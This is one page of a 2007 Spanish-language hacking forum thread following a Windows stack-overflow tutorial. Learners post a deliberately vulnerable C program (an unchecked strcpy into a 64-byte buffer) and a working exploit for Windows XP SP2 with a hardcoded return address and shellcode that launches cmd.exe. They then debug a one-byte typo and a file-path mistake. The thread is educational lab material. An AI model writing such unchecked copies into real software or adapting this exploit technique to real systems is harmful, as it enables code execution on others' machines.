elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  <-!-> Taller de Stack Overflows en Windows, por Rojodos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 [4] 5 6 7 Ir Abajo Respuesta Imprimir
Autor Tema: <-!-> Taller de Stack Overflows en Windows, por Rojodos  (Leído 75,954 veces)
Dark_Knight

Desconectado Desconectado

Mensajes: 97



Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #30 en: 29 Marzo 2007, 00:24 am »

hola

tengo un problemacon el exploit.. cuando lo ejecuto me aparece algo asi....


AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLL▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë

que estoy haciendo mal...

y tengo una pregunta... cuando analizo los jmp de ntdll.dll me aparecen dos.. que hago... coloco los 2 jmp que me aparecen o solo coloco uno de los dos...

espero su respuesta.. gracias  ;D
En línea

El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #31 en: 26 Abril 2007, 14:54 pm »

No entiendo por que este array: char EvilBuffer[1024], es de 1024... no tendria q ser de 64 para que se produzca el overflow???
saludos
En línea

Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.322


Peace & Love


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #32 en: 26 Abril 2007, 17:50 pm »

Debe ser mayor que 64 para producirse el overflow.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #33 en: 26 Abril 2007, 19:52 pm »

Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64

saludos
En línea

_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #34 en: 26 Abril 2007, 22:48 pm »

Hola a todos, quería en principio felicitar a Rojodos por este magnífico tutorial de "Stack Overflows en Windows", me ha encantado.  ;)

Por si a alguien le resultara de ayuda posteo los códigos que adapté para mi Windows Xp SP2 Esp., compilados con Dev CPP.

Vuln1.c

Código:
#include <stdio.h>  // librería stdio.h, funciones básicas de Entrada/Salida
#include <string.h>

int main (int argc, char **argv){  // La función "principal" del programa

    char buffer[64]; //Declaramos un array con 64 bytes de espacio
    if (argc < 2){  // Si los argumentos son menores que 2...
        printf ("Introduzca un argumento al programa\n"); //Printeamos   
        return 0;  // y retornamos 0 a la función main, y el programa acaba
        }
    strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.

    return 0;  // Devolvemos 0 a main, y el programa acaba.
}



exploit_vuln1.c

Código:
#include <stdio.h>
#include <stdlib.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }

Un salu2.
« Última modificación: 26 Abril 2007, 22:50 pm por _Xerks_ » En línea

M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #35 en: 26 Abril 2007, 23:01 pm »

Tengo el mismo codigo que _Xerks_ y a mi no me funciona:
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <windows.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFD\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }
Uso winXp SP2
En línea

_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #36 en: 26 Abril 2007, 23:12 pm »

Hola Bochan, fíjate en esto...

Mi código:
Código:
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3"

Tu código:
\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFD\xD3"]

Ya no es el mismo código  ;)

Un salu2.
En línea

M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #37 en: 26 Abril 2007, 23:16 pm »

Aunque lo cambie no me hace nada.... q compilador usas Dev-cpp?? Ya estoy deseperado porque lo ejecute y no hace nada de nada me tiene harto, llevo 5 dias con esto no veas lo q me esta costando

saludos
En línea

_Xerks_

Desconectado Desconectado

Mensajes: 35


Díselo a mi brillante culo metálico.


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #38 en: 26 Abril 2007, 23:22 pm »

Hola de nuevo, si, uso Dev Cpp, sólo por descartar posibles errores chorras, me imagino q´tienes compilado el Vuln1.c, y lo debes tener en la misma carpeta donde tengas compilado el exploit_vuln1.c, de no ser así, si exploit_vuln1.exe no encuentra a vuln1.exe no funcionará.

Un saludo.
« Última modificación: 27 Abril 2007, 07:21 am por _Xerks_ » En línea

M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #39 en: 27 Abril 2007, 01:27 am »

LoL tio era esooo!!!! tenia el vuln1.exe fuera de la carpeta de exploit_vul.exe
joder q pardillo toy echo como se nota que soy novato....

gracias por la ayuda
En línea

Páginas: 1 2 3 [4] 5 6 7 Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines